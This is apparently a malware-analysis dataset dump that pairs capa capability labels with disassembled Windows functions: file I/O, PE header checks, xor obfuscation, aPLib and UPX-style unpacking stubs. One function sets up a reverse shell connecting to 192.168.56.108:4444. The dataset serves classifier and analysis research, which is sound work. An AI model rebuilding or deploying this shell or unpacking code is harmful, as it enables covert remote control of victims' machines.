joyce8/EMBER2024-capa huggingface dataset:
Function at 0x423830
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [sym.__shmem_init___terminate_handler_sh]
mov edx, 8
lea rcx, str.__terminate_handler_sh
jmp dbg.__shmem_grab

Function at 0x423850
Capabilities:
Check mutex on windows

Disassembly:
lea r8, [sym.__shmem_init___unexpected_handler_sh]
mov edx, 8
lea rcx, str.__unexpected_handler_sh
jmp dbg.__shmem_grab

Function at 0x425060
Capabilities:
Read file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov r9, qword [rcx + 0x40]
mov rsi, rdx
mov rbx, rcx
mov edx, 1
mov rcx, rsi
call sym.fread
mov edx, 0xffffffff
test rax, rax
jle 0x42508c
movzx edx, byte [rsi + rax - 1]
mov dword [rbx + 0x48], edx
add rsp, 0x28
pop rbx
pop rsi
ret

Function at 0x425cf0
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x30
cmp byte [0x004bae30], 0
jne 0x425dfa
mov byte [0x004bae30], 1
call sym.__cxa_current_exception_type
test rax, rax
je 0x425dd0
mov r12, qword [rax + 8]
xor eax, eax
lea r9, [rsp + 0x2c]
cmp byte [r12], 0x2a
mov dword [rsp + 0x2c], 0xffffffff
sete al
xor r8d, r8d
xor edx, edx
add r12, rax
mov rcx, r12
call sym.__cxa_demangle
mov ecx, 2
mov rbx, qword [dbg.__acrt_iob_func]
mov r13, rax
call rbx
mov edx, 1
lea rcx, str.terminate_called_after_throwing_an_instance_of_
mov r8d, 0x30
mov r9, rax
call sym.fwrite
mov edx, dword [rsp + 0x2c]
mov ecx, 2
test edx, edx
je 0x425dc1
call rbx
mov rcx, r12
mov rdx, rax
call sym.fputs
mov ecx, 2
call rbx
mov r8d, 2
mov edx, 1
lea rcx, [0x004bce91]
mov r9, rax
call sym.fwrite
mov eax, dword [rsp + 0x2c]
test eax, eax
jne 0x425dbc
mov rcx, r13
call sym.free
call sym.__cxa_rethrow
call rbx
mov rcx, r13
mov rdx, rax
call sym.fputs
jmp 0x425d8b
mov ecx, 2
call qword [dbg.__acrt_iob_func]
mov r8d, 0x2d
mov edx, 1
lea rcx, str.terminate_called_without_an_active_exception_n
mov r9, rax
call sym.fwrite
call sym.abort
mov ecx, 2
call qword [dbg.__acrt_iob_func]
mov r8d, 0x1d
mov edx, 1
lea rcx, str.terminate_called_recursively_n
mov r9, rax
call sym.fwrite
call sym.abort
sub rdx, 1
mov rcx, rax
jne 0x425e8f
call sym.__cxa_begin_catch
mov rcx, rax
mov rax, qword [rax]
call qword [rax + 0x10]
mov ecx, 2
mov r12, rax
call rbx
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str.__what__:
call sym.fwrite
mov ecx, 2
call rbx
mov rdx, rax
mov rcx, r12
call sym.fputs
mov ecx, 2
call rbx
mov rdx, rax
mov ecx, 0xa
call sym.fputc
call sym.__cxa_end_catch
jmp 0x425df5
call sym.__cxa_begin_catch
call sym.__cxa_end_catch
jmp 0x425df5

Function at 0x47f460
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x47f487
call rbp
cmp dword [rax], 4
jne 0x47f4a4
mov rcx, rdi
call method.std::__basic_file_char_.fd__
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sym.read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x47f480
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x4b7220
Capabilities:
Create thread
Execute command
Terminate process
Terminate thread

Disassembly:
sub rsp, 0x28
call dbg.__main
mov rax, qword [0x004c0f30]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x004c0f20]
mov r8, qword [rax]
mov rax, qword [0x004c0f10]
mov rcx, qword [rax]
add rsp, 0x28
jmp sym.WinMain
Function at 0x140001070
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x1e0
xor edi, edi
lea esi, [rdi + 2]
nop word [rax + rax]
mov ecx, 0x202
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov ecx, esi
mov dword [rsp + 0x20], edi
lea edx, [r9 + 1]
lea r8d, [r9 + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
lea rcx, str.192.168.56.108
mov rbx, rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x1400010e9
lea rcx, str.Host_not_found._Retrying_in_5_seconds..._n
call fcn.140001010
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001090
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0x10
lea rcx, str.192.168.56.108
mov r8, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, str.4444
mov word [0x140004188], si
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.192.168.56.108
mov word [0x14000418a], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
lea rdx, [0x140004188]
mov rcx, rbx
mov dword [0x14000418c], eax
mov qword [rsp + 0x20], rdi
lea r8d, [r9 + 0x10]
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x14000117a
lea rcx, str.Connection_failed._Retrying_in_5_seconds..._n
jmp 0x1400010d7
xorps xmm0, xmm0
mov qword [0x140004180], rbx
movups xmmword [0x140004170], xmm0
lea r11, [rsp + 0x1e0]
mov qword [0x140004178], rbx
mov rsi, qword [r11 + 0x18]
xor eax, eax
mov qword [0x140004170], rbx
mov rbx, qword [r11 + 0x10]
movups xmmword [0x140004120], xmm0
mov dword [0x140004120], 0x68
movups xmmword [0x140004150], xmm0
mov dword [0x14000415c], 0x100
movups xmmword [0x140004130], xmm0
movups xmmword [0x140004140], xmm0
movups xmmword [0x140004160], xmm0
mov rsp, r11
pop rdi
ret

Function at 0x14000190c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001956
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001956
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001956
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001956
cmp dword [rcx + 0x84], 0xe
jbe 0x140001956
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001958
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov esi, edx
mov rdi, rcx
mov ebp, 2
mov ecx, ebp
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000108d
xor eax, eax
mov rcx, rdi
mov qword [rsp + 0x20], rax
mov word [rsp + 0x20], bp
mov qword [rsp + 0x28], rax
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, si
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rbp + 0xe]
mov rcx, rbx
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x140001084
mov rax, rbx
jmp 0x140001091
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400014c0
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x140005574
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140005348
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005348
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005348
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005348
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005348
cmp dword [rcx + 0x84], 0xe
jbe 0x140005348
cmp dword [rcx + 0xf8], esi
je 0x140005348
mov ecx, r14d
call fcn.140005490
mov ecx, 2
call fcn.14000a120
nop
cmp byte [0x14001c208], 0
jne 0x140005412
mov r15d, 1
mov eax, r15d
xchg dword [0x14001c1f8], eax
test ebx, ebx
jne 0x1400053bb
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14001c200]
cmp rcx, rax
je 0x1400053b2
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.14000220c]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14001c248]
jmp 0x1400053c7
cmp ebx, r15d
jne 0x1400053cd
lea rcx, [0x14001c260]
call fcn.140005abc
nop
test ebx, ebx
jne 0x1400053e4
lea rdx, [0x1400113a0]
lea rcx, [0x140011380]
call fcn.140005208
lea rdx, [0x1400113b0]
lea rcx, [0x1400113a8]
call fcn.140005208
movzx eax, byte [0x14001c208]
test esi, esi
cmove eax, r15d
mov byte [0x14001c208], al
jmp 0x140005412
mov ecx, 2
call fcn.14000a174
test esi, esi
jne 0x140005429
mov ecx, r14d
call fcn.140005444
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400052d8
Function at 0x14000173d
Capabilities:
Encode data using xor

Disassembly:
push r15
push rbx
push rdi
push r12
push rsi
push r14
push rbp
sub rsp, 0xd0
xor eax, eax
mov r8d, eax
mov eax, 0x4a89bd75
mov r9d, 0xba338607
mov r10, qword [rsp + 0xc0]
mov r11, r10
xor r11, 0xffffffffffffffff
mov qword [rsp + 0xc0], r11
mov word [rsp + 0xce], 0xc091
mov si, word [rsp + 0xcc]
mov dword [rsp + 0xb4], 0x4a897825
mov qword [rsp + 0xa8], 0x3d26f000
mov edi, dword [rsp + 0xb8]
mov ebx, edi
xor ebx, 0xffffffff
mov dword [rsp + 0xb8], ebx
mov bpl, byte [rsp + 0xbf]
sub r9d, dword [rsp + 0xb4]
mov byte [rsp + 0xbf], bpl
mov dword [rsp + 0x84], r9d
mov r9d, edi
sub r9d, r9d
mov r14w, word [rsp + 0xce]
xor r14w, 0xfa0
mov dword [rsp + 0xb8], r9d
mov word [rsp + 0x8a], r14w
mov byte [rsp + 0xbf], bpl
mov r9d, dword [rdx + 0x3c]
mov dword [rsp + 0xb8], 0x5c7a21e2
movsxd r11, r9d
mov r15, rdx
add r15, r11
mov r9d, dword [rdx + r11]
sub eax, dword [rsp + 0xb4]
cmp r9d, eax
cmove r8, r15
mov r14w, si
sub r14w, r14w
mov word [rsp + 0xcc], r14w
mov r14w, si
xor r14w, 0xffff
mov r11, r8
add r11, 6
mov word [rsp + 0xcc], r14w
mov r15, r10
xor r15, 0xffffffffffffffff
mov r14w, word [r8 + 6]
mov qword [rsp + 0xc0], r15
mov r12w, word [rsp + 0xce]
add byte [rax], al
add byte [rsi + 0x41], ah
add esp, 0xc7663f6f
test byte [rsp + rcx*8], ah
add byte [rax], al
add ah, bh
add cl, byte [rcx + rcx*4 - 0x6c]
and al, 0xc0
add byte [rax], al
add byte [rsi + 0x45], ah
cmp esi, esp

Function at 0x140001d84
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0xd0
mov rax, qword [rsp + 0xc8]
mov r8, rax
and r8, 0x1fe62db6
mov qword [rsp + 0xc8], r8
mov byte [rsp + 0xc5], 0x28
mov word [rsp + 0xbe], 0x64a8
mov dword [rsp + 0xb8], 0x3b684a64
mov r9w, word [rsp + 0xc6]
mov word [rsp + 0xc6], r9w
mov qword [rsp + 0xb0], 0x232c9bff
mov word [rsp + 0xc6], 0xc896
mov r10b, byte [rsp + 0xc5]
mov r11b, r10b
add r11b, 0x2a
mov byte [rsp + 0x7f], r11b
mov qword [rsp + 0x48], rax
mov al, r10b
mul r10b
mov byte [rsp + 0xc4], al
mov si, word [rsp + 0xbe]
mov qword [rsp + 0xc8], 0x725f4f48
add si, 0xe1fc
mov word [rsp + 0x66], si
mov si, word [rsp + 0x66]
mov di, word [rsp + 0xbe]
mov al, r10b
xor al, 0x1f
xor di, 0xec7
mov byte [rsp + 0xc4], al
mov qword [rsp + 0xc8], 0x475537b7
cmp di, si
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rcx
mov byte [rsp + 0x37], r10b
mov word [rsp + 0x34], r9w
jne 0x140001f99
jmp 0x140001e99
mov eax, 0x232c9bff
mov ecx, eax
lea rdx, [rsp + 0x80]
mov qword [rsp + 0xa8], rdx
mov r8w, word [rsp + 0x34]
mov word [rsp + 0xc6], r8w
sub rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0x48]
or rdx, 0x420ef5dc
mov qword [rsp + 0xc8], rdx
mov qword [rsp + 0x58], rcx
jmp 0x140002086
Function at 0x1400031c0
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x24]
imul ecx, ecx
mov dword [rsp + 0x7c], ecx
add rsp, 0x88
pop rbx
pop rsi
ret
mov ax, 0xfa3
mov cx, word [rsp + 0x22]
and cx, 0x382e
mov word [rsp + 0x6c], cx
mov edx, dword [rsp + 0x24]
imul r8d, edx, 0x450c49e3
mov cx, word [rsp + 0x66]
mov dword [rsp + 0x7c], r8d
mov r9w, word [rsp + 0x66]
xor r9w, 0xbdca
sub ax, cx
xor edx, 0xffffffff
mov dword [rsp + 0x7c], edx
mov word [rsp + 0x4e], r9w
cmp word [rsp + 0x4e], ax
jbe 0x14000320f
jmp 0x14000320f
cmp ax, cx
ja 0x14000332d
jmp 0x14000320f
mov ax, 0x9c10
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x58], rcx
mov rcx, qword [rsp + 0x58]
mov dx, word [rsp + 0x22]
sub ax, dx
mov word [rsp + 0x6c], ax
mov qword [rsp + 0x70], 0x610890f2
mov ax, word [rcx]
mov r8w, word [rsp + 0x66]
add r8w, 0x2677
cmp ax, r8w
je 0x140003111
jmp 0x14000327b
mov rax, qword [rsp + 0x58]
mov cx, word [rsp + 0x22]
mov word [rsp + 0x6c], cx
xor cx, 0xf4c9
mov word [rsp + 0x6c], cx
mov edx, dword [rax + 0x3c]
mov qword [rsp + 0x70], 0xb0c255d
mov r8b, byte [rsp + 0x21]
xor r8b, 0xa9
mov r9d, dword [rsp + 0x68]
add r9d, 0xf2b079b6
mov byte [rsp + 0x6f], r8b
mov rax, qword [rsp + 0x58]
mov r10, qword [rsp + 0x58]
movsxd r11, edx
mov edx, dword [rax + r11]
mov qword [rsp + 0x38], r10
mov esi, dword [rsp + 0x24]
sub esi, 0x3acabecb
mov dword [rsp + 0x7c], esi
cmp edx, r9d
je 0x1400030f7
mov rax, qword [rsp + 0x80]
mov cx, word [rsp + 0x22]
or cx, 0xa6a
mov edx, dword [rsp + 0x68]
add edx, 0x5ec81cb9
mov r8, qword [rsp + 0x58]
mov word [rsp + 0x6c], cx
xor rax, 0xffffffffc82494a6
add r8, rax
mov r9d, dword [rsp + 0x24]
mov dword [rsp + 0x7c], r9d
mov qword [rsp + 0x50], r8
add r9d, 0x3fa61cc2
mov dword [rsp + 0x7c], r9d
mov cx, word [rsp + 0x22]
xor cx, 0xcb7c
mov r9d, dword [rsp + 0x30]
mov word [rsp + 0x6c], cx
mov cx, word [rsp + 0x22]
sub cx, 0x6a9c
mov word [rsp + 0x6c], cx
cmp edx, r9d
je 0x14000327b
mov rax, qword [rsp + 0x80]
add rax, 0xffffffffc8248b5a
mov dword [rsp + 0x7c], 0xf89ce45
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x70]
and rcx, rax
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x40], rcx
mov r8b, byte [rsp + 0x21]
xor r8b, 0x21
mov byte [rsp + 0x6f], r8b
jmp 0x1400031cb
xor eax, eax
mov edx, eax
mov rcx, qword [rsp + 0x70]
xor rcx, qword [rsp + 0x70]
mov qword [rsp + 0x70], rcx
mov rcx, qword [rsp + 0x28]
call fcn.14000272c
mov qword [rsp + 0x38], rax
jmp 0x1400030f7
Function at 0x180808058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1808081df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180808089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18080806f
add dl, dl
jne 0x180808096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808080f6
xor eax, eax
add dl, dl
jne 0x1808080a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808081ad
add dl, dl
jne 0x1808080b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808080c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808080d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808080dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1808080ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18080807e
mov eax, 1
add dl, dl
jne 0x180808106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180808113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808080fb
sub eax, ebx
mov ebx, 1
jne 0x18080814c
mov ecx, 1
add dl, dl
jne 0x18080812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18080813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180808123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18080807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180808168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180808175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18080815d
cmp eax, 0x7d00
jae 0x18080819b
cmp eax, 0x500
jb 0x180808196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18080807e
cmp eax, 0x7f
ja 0x18080819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18080807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1808081d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18080807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20

Function at 0x140001cf4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d3e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d3e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d3e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d3e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d3e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d40
xor al, al
add rsp, 0x28
ret
Function at 0x140026eb0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140026ebd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140026ecd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140026eb5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140026ee5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140026ed2
sub eax, 3
jb 0x140026eff
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140026f36
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140026f26
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140026f24
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140026f13
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140026e72
jmp 0x140026ebd
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x24000]
mov eax, dword [rdi]
or eax, eax
je 0x140026f92
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x271dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140026f42
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140026f8c
mov qword [rbx], rax
add rbx, 8
jmp 0x140026f62
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140026fcc
cmp al, 0xef
ja 0x140026fbe
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140026f9e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140026fad
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x217]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140027020
sub rsp, 0xffffffffffffff80
jmp 0x140011276
Function at 0x14001e8e0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x14001e902
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14001e97c
mov rdi, r14
mov rcx, rbx
call fcn.140022e90
test rax, rax
jle 0x14001e954
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.140177920
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14001e96c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + gethostname]
cmp eax, 0xffffffff
je 0x14001e974
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x14001e916
sub r14, rdi
jmp 0x14001ea5f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x14001e993
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14001e995
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14001e9c7
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140177920
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14001ea5c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14001ea02
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14001ea3d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.14012be44
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x14001ea5c
cmp rbp, rax
ja 0x14001ea10
test rbp, rbp
je 0x14001ea5c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.14012be44
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x140020da0
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x30
cmp byte [rcx + 0x45], 0
mov rbp, rcx
je 0x140020f6a
mov qword [rsp + 0x58], rbx
lea rax, [rcx + 2]
mov qword [rsp + 0x28], rsi
mov rdx, 0xfffffffffffffffb
mov qword [rsp + 0x20], rdi
sub rdx, rcx
mov qword [rsp + 0x18], r12
mov r8, 0xfffffffffffffffc
mov qword [rsp + 0x10], r13
sub r8, rcx
mov qword [rsp + 8], r14
mov r13, 0xfffffffffffffffa
sub r13, rcx
mov qword [rsp], r15
mov r15, rcx
mov qword [rsp + 0x48], rdx
mov r12d, 1
mov qword [rsp + 0x50], r8
sub r12, rcx
mov r14, 0xfffffffffffffffe
mov rcx, 0xfffffffffffffffd
not r15
sub rcx, rbp
movabs r9, 0x5aa5d2b4d3932b69
mov qword [rsp + 0x40], rcx
sub r14, rbp
nop dword [rax]
nop word [rax + rax]
lea ecx, [r14 + rax]
mov rsi, r9
and cl, 7
mov rdi, r9
shl cl, 3
mov rbx, r9
shr rsi, cl
mov r11, r9
xor byte [rax - 2], sil
lea ecx, [r15 + rax]
xor byte [rax + 6], sil
and cl, 7
xor byte [rax + 0xe], sil
mov r10, r9
shl cl, 3
shr rdi, cl
movzx ecx, al
xor byte [rax - 1], dil
sub cl, bpl
xor byte [rax + 7], dil
and cl, 7
xor byte [rax + 0xf], dil
shl cl, 3
shr rbx, cl
lea ecx, [r12 + rax]
xor byte [rax], bl
and cl, 7
xor byte [rax + 8], bl
xor byte [rax + 0x10], bl
shl cl, 3
shr r11, cl
lea ecx, [rax + r13]
xor byte [rax + 1], r11b
and cl, 7
xor byte [rax + 9], r11b
xor byte [rax + 0x11], r11b
shl cl, 3
shr r10, cl
lea ecx, [rdx + rax]
xor byte [rax + 2], r10b
and cl, 7
xor byte [rax + 0xa], r10b
movabs rdx, 0x5aa5d2b4d3932b69
xor byte [rax + 0x12], r10b
shl cl, 3
shr r9, cl
lea ecx, [r8 + rax]
xor byte [rax + 3], r9b
and cl, 7
xor byte [rax + 0xb], r9b
mov r8, rdx
xor byte [rax + 0x13], r9b
movabs r9, 0x5aa5d2b4d3932b69
shl cl, 3
shr r8, cl
movzx ecx, al
add cl, byte [rsp + 0x40]
xor byte [rax + 4], r8b
and cl, 7
xor byte [rax + 0xc], r8b
xor byte [rax + 0x14], r8b
mov r8, qword [rsp + 0x50]
shl cl, 3
shr rdx, cl
xor byte [rax + 5], dl
xor byte [rax + 0xd], dl
add rax, 0x17
mov rdx, qword [rsp + 0x48]
lea rcx, [rax + r14]
cmp rcx, 0x45
jb 0x140020e40
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r13, qword [rsp + 0x10]
mov r12, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x58]
mov byte [rbp + 0x45], 0
add rsp, 0x30
pop rbp
ret